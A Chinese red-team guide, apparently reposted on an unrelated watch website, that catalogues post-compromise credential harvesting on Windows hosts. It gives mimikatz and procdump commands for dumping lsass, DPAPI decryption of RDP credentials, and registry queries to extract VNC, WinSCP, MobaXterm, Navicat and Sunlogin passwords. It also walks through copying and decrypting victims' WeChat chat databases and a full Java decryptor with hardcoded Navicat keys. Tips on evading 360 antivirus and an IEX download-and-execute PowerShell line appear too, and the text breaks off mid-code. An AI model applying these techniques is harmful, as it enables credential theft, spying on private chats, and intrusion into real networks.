名奢网 名表 名表鉴赏 查看内容

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结

2023-2-14 18:32| 发布者: fuwanbiao| 查看: 129| 评论: 0

放大 缩小
简介:内网凭据密码搜集指南 原创投稿作者:深蓝实验室天威战队前言 在攻防场景下,红队人员拿下一台终端或效劳器后,第一步要做的常常就是信息搜集,为最大化应用权限,扩展战果,密码抓取必不可少,这里针对常见应用软件 ...

内网凭据密码搜集指南


原创投稿作者:深蓝实验室天威战队


前言


在攻防场景下,红队人员拿下一台终端或效劳器后,第一步要做的常常就是信息搜集,为最大化应用权限,扩展战果,密码抓取必不可少,这里针对常见应用软件和系统等密码抓取做了记载和总结,希望能辅佐你作为参考。

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


RDP凭证 本机RDP密码


抓取本机RDP密码是一个我们常遇到的场景,通常运用mimikatz抓取RDP密码。

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


当系统为win10或2012R2以上时,默许在内存缓存中遏止保存明文密码,这时抓取的明文密码为空。

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


能够尝试解密NTLM获取明文密码。

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


上不了线的状况下,也能够在webshell中来dump内存,保存到本地解密即可。Dump内存的工具有很多,这里我们运用procdump64.exe为例中止dump内存:


procdump64.exe -accepteula -ma lsass.exe lsass.dmp


然后本地运用mimikatz中止解密:


sekurlsa::minidump lsass.dmp


sekurlsa::logonPasswords full

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


文件lsass.dmp的导出能够有多种方式:procdump,avdump,sqldumper,comsvcs.dll等等,这里不外多赘述,能够免杀转储即可。


RDP登录凭证mimikatz


当我们运用Windows自带的远程桌面登录胜利并选择保存凭据时,会在本地留下rdp登录凭证,假如我们取得了远程桌面的凭证,能够方便我们中止渗透测试中的横向移动。查看本机链接过哪些机器:


reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"


获取Credentials:


dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


获取guidMasterKey


mimikatz.exe "dpapi::cred /in:%userprofile%\AppData\Local\Microsoft\Credentials\Credentials值" exit

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


mimikatz.exe "privilege::debug" "sekurlsa::dpapi" > cerd.txt


查找guid对应的MasterKey:

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


解密获取明文rdp凭证:


mimikatz.exe "dpapi::cred /in:%userprofile%\AppData\Local\Microsoft\Credentials\ Credentials值/masterkey:masterkey值" exit

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


netpass


也能够应用netpass直接抓取密码,运用时留意对应系统版本,下载地址:https://www.nirsoft.net/utils/network_password_recovery.html


同时netpass也提供了命令行版本,下载页面:https://www.nirsoft.net/password_recovery_tools.html


VNC密码 UltraVNC


默许配置途径:


c:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png


解密工具:https://github.com/jeroennijhof/vncpwd

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png TightVNC


TightVNC的加密后密码存在注册表里内,留意查询需求管理员权限。


reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v ControlPassword


reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password


reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v RfbPort


解密工具:https://github.com/jeroennijhof/vncpwd

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png RealVNC


RealVNC别号WinVNC,RealVNC的加密后密码存在注册表里内,留意查询需求管理员权限。


reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v password


解密工具:https://github.com/jeroennijhof/vncpwd

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png TigerVNC


TigerVNC的加密后密码存在注册表里内,查询无需管理员权限。


reg query HKEY_CURRENT_USER\SOFTWARE\TigerVNC\WinVNC4 /v "password"


解密工具:https://github.com/jeroennijhof/vncpwd

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png VPN密码


Windows自带VPN衔接,假如在配置VPN时选择记住此密码则会保存衔接信息。

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png


默许保存衔接信息目录


%AppData%\Roaming\Microsoft\Network\Connections\Pbk

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png


我们能够运用Dialupass来获取VPN密码信息,留意需求管理员权限,Dialupass运用阐明和下载地址:https://www.nirsoft.net/utils/dialupass.html


image.png


同时Dialupass也提供了命令行版本,下载页面:https://www.nirsoft.net/password_recovery_tools.html

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png


免杀:截至目前删除程序版本信息即可免杀360。


WiFi密码


WiFi信息查询命令,在cmd下执行,无需管理员权限。


for/f "skip=9 tokens=1,2 delims=:"%i in( 'netsh wlan show profiles') do@ echo%j | findstr -i -v echo| netsh wlan show profiles %j key=clear

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png 星号密码


在攻防场景下很多时分在主机或效劳器上遇到一些软件配置运用了星号密码,我们能够直接尝试运用星号密码查看来获取明文密码,省去寻觅和解密配置文件的时间。常用的星号密码查看器:


  • Asterisk Password Spy [1] 支持180个应用软件密码查看
  • peekPassword [2]

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png 通讯软件 个人微信


很多时分我们钓鱼控下的主机都装置了个人微信,很多时分会在微信上沟通密码等敏感信息,在攻防场景下,由于是个人主机不方便直接远程操作,所以我们能够下载其离线聊天数据库离线解密。


获取解密密钥


我们能够运用工具SharpWxDump [3] 来获取解密密钥,运用该工具需求留意两点,一是编译工具选择x86架构,而是对方微信必须是在登录状态。

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png image.png 下载聊天记载


微信聊天文件普通在:


%USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG0.db


%USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG1.db


%USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG2.db


留意:假如MSG0.db的大小超出240MB会自动生成MSG1.db,以此类推。打包聊天文件:


cd/d C:\Users\Public


# 由于微信运转会占用此文件,需求中止复制。


copy "C:\Users\test\Documents\WeChat Files\wxid_ll8ukjje2na922\Msg\Multi\MSG0.db"MSG0.db


# 运用Windows系统自带命令中止紧缩,方便快速下载。


makecab MSG0.db MSG0.cab


# 下载到本地后解压


expandMSG0.cab MSG0.db 解密聊天文件


下载ChatViewTool [4] 后,将数据库密钥保存为文本文件DBPass.Bin,将解压后的聊天记载数据库MSG0.db放在同目录。

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png


随后翻开ChatViewTool点击数据库解密并选择密钥文件DBPass.Bin和聊天记载数据库MSG0.db所在的目录:

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png


待解密完成后,会生成MSG0.db_dec.db,将MSG0.db_dec.db放到一个新目录,点击查看数据库选择此目录即可完成会话展示,双击联络人列表可展示对应的聊天记载。

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png个人QQ


个人QQ由于有腾讯TP维护,招致不能动态地从个人QQ的内存获取其聊天数据库解密密钥,暂时无法解密,感兴味能够阅读一文。


https: //bbs.pediy.com/thread-266370.htm

运维开发 SVN


SVN类的版本控制软件如TortoiseSVN默许会将缓存的凭据保存到配置文件中,在Windows平台上默许会调用Windows数据维护API中止加密。

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png


SVN类客户端软件默许配置文件目录:


%APPDATA%\Subversion\auth\svn.simple\


%APPDATA%\Roaming\Subversion\auth\svn.simple\

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png


我们可工具以运用TSvnPwd来解密。工具下载地址:http://www.leapbeyond.com/ric/TSvnPD/


image.png FileZilla


简介:FileZilla客户端是一个快速牢靠的、跨平台的FTP,FTPS和SFTP客户端。

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


找到FileZilla的默许配置文件目录:


%userprofile%\AppData\Roaming\FileZilla\recentservers.xml


%userprofile%\AppData\Roaming\FileZilla\sitemanaer.xml

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


密码base64解码即可得到明文:


也能够应用SharpDecryptPwd直接获取密码 工具下载地址:https://github.com/uknowsec/SharpDecryptPwd


SharpDecryptPwd.exe -FileZilla Winscp


简介:WinSCP 是一个 Windows 环境下运用的 SSH 的开源图形化 SFTP 客户端。同时支持 SCP 协议。它的主要功用是在本地与远程计算机间保险地复制文件,并且能够直接编辑文件。

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


经过注册表取得密文:


reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions"


reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\root@192.168.192.128"


经过winscppwd.exe即可解密:


winscppwd.exe root 192.168.192.128 密文

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


有时分管理员会导出配置为WinSCP.ini文件。

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


这时分直接查找该文件,然后解密即可。winscppwd下载地址:https://www.softpedia.com/get/Security/Password-Managers-Generators/winscppwd.shtml也能够运用SharpDecryptPwd直接获取密码


Xshell


简介:Xshell是一款功用强大的终端模仿器,支持SSH2,SSH3,SFTP,TELNET,RLOGIN和SERIAL。Xshell密码默许保存位置:


XShell 5:%userprofile%\Documents\NetSarang\Xshell\Sessions


XShell 6:%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions


XShell 7:%userprofile%\Documents\NetSarang Computer\7\Xshell\Sessions


SharpXDecrypt支持解密XShell一切版本,包含XShell 7:

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png


下载地址:https://github.com/JDArmy/SharpXDecrypt 注:XShell 7默许session里面的密码为空,这种能够运用星号密码查看器直接查看密码

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


FinalShell


简介:FinalShell是一体化的的效劳器,网络管理软件,不只是ssh客户端,还是功用强大的开发,运维工具。默许配置文件地址:


%userprofile%\AppData\Local\finalshell\conn\xxx.json


内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


运用FinalShell-Decoder选择目录即可解密:


内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


下载地址:https://github.com/passer-W/FinalShell-Decoder


SecureCRT


SecureCRT默许配置目录:


dir%APPDATA%\VanDyke\Config\Sessions\


SecureCRT 7.3.3之前的版本运用password加密算法,之后的版本运用password v2算法:


S: "Password"=u17cf50e394ecc2a06fa8919e1bd67cf0f37da34c78e7eb87a3a9a787a9785e802dd0eae4e8039c3ce234d34bfe28bbdc


S: "Password V2"=02:7b9f594a1f39bb36bbaa0d9688ee38b3d233c67b338e20e2113f2ba4d328b6fc8c804e3c02324b1eaad57a5b96ac1fc5cc1ae0ee2930e6af2e5e644a28ebe3fc


7.x 版本解密 [ 不带第一位 "u" ]


SecureCRTCipher.py dec 17cf50e394ecc2a06fa8919e1bd67cf0f37da34c78e7eb87a3a9a787a9785e802dd0eae4e8039c3ce234d34bfe28bbdc


8.x 版本解密 [ 不带前面三位 "02:" ]


SecureCRTCipher.py dec -v2 7b9f594a1f39bb36bbaa0d9688ee38b3d233c67b338e20e2113f2ba4d328b6fc8c804e3c02324b1eaad57a5b96ac1fc5cc1ae0ee2930e6af2e5e644a28ebe3fc image.png


SecureCRT下载地址:https://github.com/HyperSine/how-does-SecureCRT-encrypt-password


Mobaxterm


MobaXterm衔接信息默许全部加密存于注册表中,解密两种状况。


无管理密码的解密


首先是先切到指定用户权限下,从注册表中读取衔接信息和账密 hash,此处测试的 MobaXterm 版本为 12.04 ,该版本不会强迫你为衔接设置管理密码。


# reg query HKEY_CURRENT_USER\\Software\\Mobatek\\MobaXterm


# reg query HKEY_CURRENT_USER\\Software\\Mobatek\\MobaXterm\\P


之后再把密码 hash 粘回本地解密,要带上目的机器名 和 MobaXterm 的装置用户。


python3 MobaXtermCipher.py dec -sysh Motoo-IISWeb -sysu administrator -h 192.168.159.6-u root +NYMdvHihPWokIa5KdDcjfIjb7pV1Qu*** 带管理密码的解密


此处测试的 MobaXterm 为最新版 20.5,该版本每次衔接都会强迫你设置管理密码。


reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\P


python3 MobaXtermCipher.py dec -p admin!@ #45 ehx0N63ueLNPkw==Navicat


简介:Navicat Premium 是一套多衔接数据库开发工具,可一次快速方便地访问多种数据库。


离线解密


首先查询Navicat注册表里的密码:


reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v host


reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v username


reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v pwd

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png


然后能够运用以下代码在线解密,留意Navicat版本:在线运转地址:https://www.nhooo.com/tool/java8/

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png packageorg.example;


importjavax.crypto.Cipher;


importjavax.crypto.spec.IvParameterSpec;


importjavax.crypto.spec.SecretKeySpec;


importjavax.xml.bind.DatatypeConverter;


importjava.nio.charset.StandardCharsets;


importjava.security.MessageDigest;


importjava.util.Arrays;


publicclassMain{


publicstaticvoidmain(String []args) {


//navicat11版本解密


Navicat11Cipherde=newNavicat11Cipher;


System.out.println(de.decryptString( "15057D7BA390"));


//navicat12以上版本解密


Navicat12Cipherde12=newNavicat12Cipher;


System.out.println(de12.decryptString( "503AA930968F877F04770B47DD731DC0"));


}


publicstaticclassNavicat11Cipher{


publicstaticfinalStringDefaultUserKey="3DC5CA39";


privatebyte[] _IV;


privateSecretKeySpec _Key;


privateCipher _Encryptor;


privateCipher _Decryptor;


privatevoidinitKey(String UserKey) {


try{


MessageDigestsha1=MessageDigest.getInstance( "SHA1");


byte[] userkey_data = UserKey.getBytes(StandardCharsets.UTF_8);


sha1.update(userkey_data, 0, userkey_data.length);


_Key = newSecretKeySpec(sha1.digest, "Blowfish");


} catch(Exception e) {


e.printStackTrace;


}


}


privatevoidinitChiperEncrypt{


try{


// Must use NoPadding


_Encryptor = Cipher.getInstance( "Blowfish/ECB/NoPadding");


_Encryptor.init(Cipher.ENCRYPT_MODE, _Key);


} catch(Exception e) {


e.printStackTrace;


}


}


privatevoidinitChiperDecrypt{


try{


// Must use NoPadding


_Decryptor = Cipher.getInstance( "Blowfish/ECB/NoPadding");


_Decryptor.init(Cipher.DECRYPT_MODE, _Key);


} catch(Exception e) {


e.printStackTrace;


}


}


privatevoidinitIV{


try{


byte[] initVec = DatatypeConverter.parseHexBinary( "FFFFFFFFFFFFFFFF");


_IV = _Encryptor.doFinal(initVec);


} catch(Exception e) {


e.printStackTrace;


}


}


privatevoidxorBytes( byte[] a, byte[] b) {


for( inti=0; i < a.length; i++) {


intaVal=a[i] & 0xff; // convert byte to integer


intbVal=b[i] & 0xff;


a[i] = ( byte) (aVal ^ bVal); // xor aVal and bVal and typecast to byte


}


}


privatevoidxorBytes( byte[] a, byte[] b, intl) {


for( inti=0; i < l; i++) {


intaVal=a[i] & 0xff; // convert byte to integer


intbVal=b[i] & 0xff;


a[i] = ( byte) (aVal ^ bVal); // xor aVal and bVal and typecast to byte


}


}


{


initKey(DefaultUserKey);


initChiperEncrypt;


initChiperDecrypt;


initIV;


}


privatebyte[] Encrypt( byte[] inData) {


try{


byte[] CV = Arrays.copyOf(_IV, _IV.length);


byte[] ret = newbyte[inData.length];


intblocks_len=inData.length / 8;


intleft_len=inData.length % 8;


for( inti=0; i < blocks_len; i++) {


byte[] temp = Arrays.copyOfRange(inData, i * 8, (i * 8) + 8);


xorBytes(temp, CV);


temp = _Encryptor.doFinal(temp);


xorBytes(CV, temp);


System.arraycopy(temp, 0, ret, i * 8, 8);


}


if(left_len != 0) {


CV = _Encryptor.doFinal(CV);


byte[] temp = Arrays.copyOfRange(inData, blocks_len * 8, (blocks_len * 8) + left_len);


xorBytes(temp, CV, left_len);


System.arraycopy(temp, 0, ret, blocks_len * 8, temp.length);


}


returnret;


} catch(Exception e) {


e.printStackTrace;


returnnull;


}


}


publicString encryptString(String inputString) {


try{


byte[] inData = inputString.getBytes(StandardCharsets.UTF_8);


byte[] outData = Encrypt(inData);


returnDatatypeConverter.printHexBinary(outData);


} catch(Exception e) {


e.printStackTrace;


return"";


}


}


privatebyte[] Decrypt( byte[] inData) {


try{


byte[] CV = Arrays.copyOf(_IV, _IV.length);


byte[] ret = newbyte[inData.length];


intblocks_len=inData.length / 8;


intleft_len=inData.length % 8;


for( inti=0; i < blocks_len; i++) {


byte[] temp = Arrays.copyOfRange(inData, i * 8, (i * 8) + 8);


temp = _Decryptor.doFinal(temp);


xorBytes(temp, CV);


System.arraycopy(temp, 0, ret, i * 8, 8);


for( intj=0; j < CV.length; j++) {


CV[j] = ( byte) (CV[j] ^ inData[i * 8+ j]);


}


}


if(left_len != 0) {


CV = _Encryptor.doFinal(CV);


byte[] temp = Arrays.copyOfRange(inData, blocks_len * 8, (blocks_len * 8) + left_len);


xorBytes(temp, CV, left_len);


for( intj=0; j < temp.length; j++) {


ret[blocks_len * 8+ j] = temp[j];


}


}


returnret;


} catch(Exception e) {


e.printStackTrace;


returnnull;


}


}


publicString decryptString(String hexString) {


try{


byte[] inData = DatatypeConverter.parseHexBinary(hexString);


byte[] outData = Decrypt(inData);


returnnewString(outData, StandardCharsets.UTF_8);


} catch(Exception e) {


e.printStackTrace;


return"";


}


}


}


publicstaticclassNavicat12Cipher{


privateSecretKeySpec _AesKey;


privateIvParameterSpec _AesIV;


{


_AesKey = newSecretKeySpec( "libcckeylibcckey".getBytes(StandardCharsets.UTF_8), "AES");


_AesIV = newIvParameterSpec( "libcciv libcciv ".getBytes(StandardCharsets.UTF_8));


}


publicString encryptString(String plaintext) {


try{


Ciphercipher=Cipher.getInstance( "AES/CBC/PKCS5Padding");


cipher.init(Cipher.ENCRYPT_MODE, _AesKey, _AesIV);


byte[] ret = cipher.doFinal(plaintext.getBytes(StandardCharsets.UTF_8));


returnDatatypeConverter.printHexBinary(ret);


} catch(Exception e) {


e.printStackTrace;


return"";


}


}


publicString decryptString(String ciphertext) {


try{


Ciphercipher=Cipher.getInstance( "AES/CBC/PKCS5Padding");


cipher.init(Cipher.DECRYPT_MODE, _AesKey, _AesIV);


byte[] ret = cipher.doFinal(DatatypeConverter.parseHexBinary(ciphertext));


returnnewString(ret, StandardCharsets.UTF_8);


} catch(Exception e) {


e.printStackTrace;


return"";


}


}


}


} SharpDecryptPwd


也能够直接1运用SharpDecryptPwd抓取密码:

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png 远程控制 TeamViewer


TeamViewer是远程访问、远程控制及远程支持处置计划,能够远程访问位于各地的计算机或移动设备。直接获取本机TeamViewer的ID以及密码:


SharpDecryptPwd.exe -TeamViewer SunLogin 旧版本


这里旧版本是指v11.0.0.38222以及以前的版本

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


找到配置文件config.ini


装置版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini


便携版(绿色版):C:\ProgramData\Oray\SunloginClient\config.ini

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


解密得到本机考证码为4M9aON


较新版本


reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo


reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo


最新版本


首先找到向日葵用户进程,然后运用procdump等工具转储进程内存。


tasklist /v | findstr /i sunlogin


procdump64.exe -accepteula -ma 进程号 image-20221109181701558.png

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image-20221109182129937.png image-20221109225035543.png ToDesk 本机衔接


ToDesk的配置途径在装置目录下的config.ini。

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png


clientId为设备ID,AuthMode为认证方式,0为仅运用暂时密码,1为仅运用保险密码,2为都能够运用,tempAuthPassEx为加密后的暂时密码,authPassEx为加密后的保险密码,我们只需本地装置一个最新版本ToDesk,退出ToDesk,然后复制配置文件config.ini中的tempAuthPassEx或authPassEx字段到本地中止交流,最后重新运转ToDesk即可查看密码。

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png 远程衔接


ToDesk默许会保存衔接过的信息,记载的文件也是ToDesk装置目录下的userInfo.json文件,其中就有远程衔接的设备ID,主机名,衔接密码等密码信息。

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png


我们只需复制userInfo.json文件放在ToDesk装置目录下,重新运转ToDesk即可选择中止远程衔接了,不需求输入密码。

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png 阅读器 常见阅读器 WebBrowserPassView


WebBrowserPassView运用阐明和下载地址:https://www.nirsoft.net/utils/web_browser_password.html WebBrowserPassView支持解密以下阅读器:


  • Internet Explorer (Version 4.0 - 11.0)
  • Mozilla Firefox (All Versions)
  • Google Chrome
  • Chromium-Based Edge
  • Safari
  • Opera
  • Brave
  • Waterfox
  • SeaMonkey
  • Vivaldi
  • Yandex
  • Chromium
image.png

WebBrowserPassView也提供了命令行版本,下载页面:https://www.nirsoft.net/password_recovery_tools.html

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png


WebBrowserPassView也支持离线解密:

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png


免杀:截至目前删除程序版本信息即可免杀360。


HackBrowserData


HackBrowserData 是一个阅读器数据(密码|历史记载|Cookie|书签|信誉卡|下载记载|localStorage|阅读器插件)的导收工具,支持全平台主流阅读器。在Windows平台支持以下阅读器的密码,Cookie,书签和历史记载信息:


  • Google Chrome
  • Google Chrome Beta
  • Chromium
  • Microsoft Edge
  • 360 极速阅读器
  • QQ阅读器
  • Brave
  • Opera
  • OperaGX
  • Vivaldi
  • Yandex
  • CocCoc
  • Firefox
  • Firefox Beta
  • Firefox Dev
  • Firefox ESR
  • Firefox Nightly

运用阐明和下载地址:https://github.com/moonD4rk/HackBrowserData

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


IE阅读器 credgrap_ie_edge


工具地址:https://github.com/HanseSecure/credgrap_ie_edge 内存执行powershell解密即可


powershell -nop-execbypass -c"IEX (New-Object Net.WebClient).DownloadString('http://xxx/credgrap_ie_edge.ps1')"


落地解密


IE Passwords Viewer


能够直接运用iepv直接获取账密,运用阐明和下载地址:https://www.nirsoft.net/utils/internet_explorer_password.html

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png


同时iepv也提供了命令行版本,下载页面:https://www.nirsoft.net/password_recovery_tools.html

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png


免杀:截至目前删除程序版本信息即可免杀360。


360保险阅读器离线解密


首先切到指定用户权限下,获取机器id,


reg query "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"/v "MachineGuid"image.png


然后找到账密数据库文件assis2.db途径,将assis2.db下载到本地中止解密。


reg query "HKCR\360SeSES\DefaultIcon"


dir"C:\Users\aky\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis"


执行解密:


360SafeBrowserDecrypt.exe a9f521cd-2bd6-47fe-87db-69743456aa84 assis2.db

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png 上传解密


在免杀的状况下也能够直接上传360SafeBrowserDecrypt.exe中止解密。

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png 其他阅读器


假如遇到其他的小众阅读器,能够在本地装置一个相同版本的阅读器,然后退出阅读器,将目的上的阅读器用户数据目录打包到本地,在相同目录中止交流,重新翻开阅读器,去阅读器设置里查看密码。以下为一些阅读器的用户数据目录:


%AppData%/Local/Google/Chrome/User Data/Default/


%AppData%/Local/Google/Chrome Beta/User Data/Default/


%AppData%/Local/Chromium/User Data/Default/


%AppData%/Local/Microsoft/Edge/User Data/Default/


%AppData%/Local/BraveSoftware/Brave-Browser/User Data/Default/


%AppData%/Local/360chrome/Chrome/User Data/Default/


%AppData%/Local/Tencent/QQBrowser/User Data/Default/


%AppData%/Roaming/Opera Software/Opera Stable/


%AppData%/Roaming/Opera Software/Opera GX Stable/


%AppData%/Local/Vivaldi/User Data/Dfault/


%AppData%/Local/CocCoc/Browser/User Data/Default/


%AppData%/Local/Yandex/YandexBrowser/User Data/Default/


%AppData%/Roaming/Mozilla/Firefox/Profiles/


%AppData%/Roaming/SogouExplorer/Webkit/ WEB系统 通用措施


思绪:绝大部分的配置信息,在内存中,都是String类型的field字段,能够运用OQL言语直接从内存中提取password字段的field值。


内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


工具:https://github.com/corener/JavaPassDump


运用步骤:1、运用jcmd获取JVM堆内存 jmap,jcmd 都是JDK自带工具,指定JVM pid 直接dump


jmap -dump:live,format=b,file=/tmp/dumpHeap.hprof 5760 2.1.png


2、运用OQLQuery提取密码 OQL语句:


var filter = {};


map(heap.classes, function (cls) {


return map(cls.fields, function (field) {


if( field.name.toString.contains( "pass") || field.name.toString.contains( "username") ||field.name.toString.contains( "PASS")){


return map(heap.objects(cls), function (obs) {


var tag = cls.name+ "|"+field.name ;


var res = "class : "+cls.name+ "\n Field [ "+field.name.toString+ " : ";


if( obs[field.name.toString] != null){


res = res + obs[field.name.toString].toString+ " ]\n";


}else{


res = res + "null ]\n";


}


if (filter[tag] == null) {


filter[tag] = res;


print(res);


}


return null;


});


}


return null;


});


});


运用base64编码oql语句传入OQLQuery中止提取:


java -jar ./OQLQuery.jar /tmp/dumpHeap.hprof dmFyIGZpbHRlciA9IHt9OwptYXAoaGVhcC5jbGFzc2VzKCksIGZ1bmN0aW9uIChjbHMpIHsKICAgcmV0dXJuIG1hcChjbHMuZmllbGRzLCBmdW5jdGlvbiAoZmllbGQpIHsgCiAgICAgIGlmKCBmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoInBhc3MiKSB8fCBmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoInVzZXJuYW1lIikgfHxmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoIlBBU1MiKSl7CiAgICAgICAgcmV0dXJuIG1hcChoZWFwLm9iamVjdHMoY2xzKSwgZnVuY3Rpb24gKG9icykgewogICAgICAgICAgdmFyIHRhZyA9IGNscy5uYW1lKyJ8IitmaWVsZC5uYW1lIDsKICAgICAgICAgIHZhciByZXMgPSAgImNsYXNzIDogIitjbHMubmFtZSsiXG4gRmllbGQgWyAiK2ZpZWxkLm5hbWUudG9TdHJpbmcoKSsiIDogIjsKICAgICAgICAgIGlmKCBvYnNbZmllbGQubmFtZS50b1N0cmluZygpXSAhPSBudWxsICl7CiAgICAgICAgICAgIHJlcyA9IHJlcyArIG9ic1tmaWVsZC5uYW1lLnRvU3RyaW5nKCldLnRvU3RyaW5nKCkrIiBdXG4iOwogICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgIHJlcyA9IHJlcyArICJudWxsIF1cbiI7CiAgICAgICAgICB9CiAgICAgICAgICBpZiAoZmlsdGVyW3RhZ10gPT0gbnVsbCkgewogICAgICAgICAgICBmaWx0ZXJbdGFnXSA9IHJlczsKICAgICAgICAgICAgcHJpbnQocmVzKTsKICAgICAgICAgIH0KICAgICAgICAgIHJldHVybiBudWxsOwogICAgICAgIH0pOwogICAgICB9CiAgICAgIHJldHVybiBudWxsOwogIH0pOwp9KTs=

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


1.1.png

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


42f3e0d7257d7c3d6bec1dc42ab78d7.png


从图中即可看到数据库衔接密码。


致远OA


数据库配置文件默许位置:


/Seeyon/A8[致远版本]/base/conf/datasourceCtp.properties

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


运用工具解密:https://github.com/jas502n/OA-Seeyou


泛微系列e-cology


数据库配置文件默许位置:


D:\WEAVER\ecology\WEB-INF\prop\weaver.properties


用户名表:HrmResource 管理员表:HrmResourceManager、TB_USER

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png e-bridge


数据库配置文件默许位置:


D:\ebridge\tomcat\webapps\ROOT\WEB-INF\init.properties e-mobile


数据库配置文件默许位置:


D:\WEAVER\emobile\webapps\ROOT\WEB-INF\classes\application.properties e-office


数据库配置文件默许位置:


D:\eoffice\webroot\inc\oa_config.php


D:\eoffice\bin\mysql_config.ini 蓝凌OA 解密后台管理密码


后台管理地址普通是:


http: //x.x.x.x/admin.do


假如后台管理地址遇到不是admin.do,则能够尝试从以下文件中搜索SysConfigAdminAction即可找到后台管理地址:


老版本对应的为:\WEB-INF\KmssConfig\sys\config\struts.xml


新版本对应的为:\WEB-INF\KmssConfig\sys\config\spring-safe.xml


或者:\WEB-INF\KmssConfig\sys\config\spring-mvc.xml


加密后的后台管理密码普通保存在:


/WEB-INF/KmssConfig/admin.properties


其运用的加密算法为DES-ECB,密钥为kmssAdminKey,解密工具:https://github.com/zhutougg/LandrayDES

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png 配置文件解密


配置文件默许途径:


ekp/WEB-INF/KmssConfig/kmssconfig.properties


其运用的加密算法为DES-ECB,密钥为kmssPropertiesKey。

内网渗透 | 最全的内网凭据密码搜集措施和技巧总结


image.png


解密代码:


packageorg.example;


importcn.hutool.core.util.CharsetUtil;


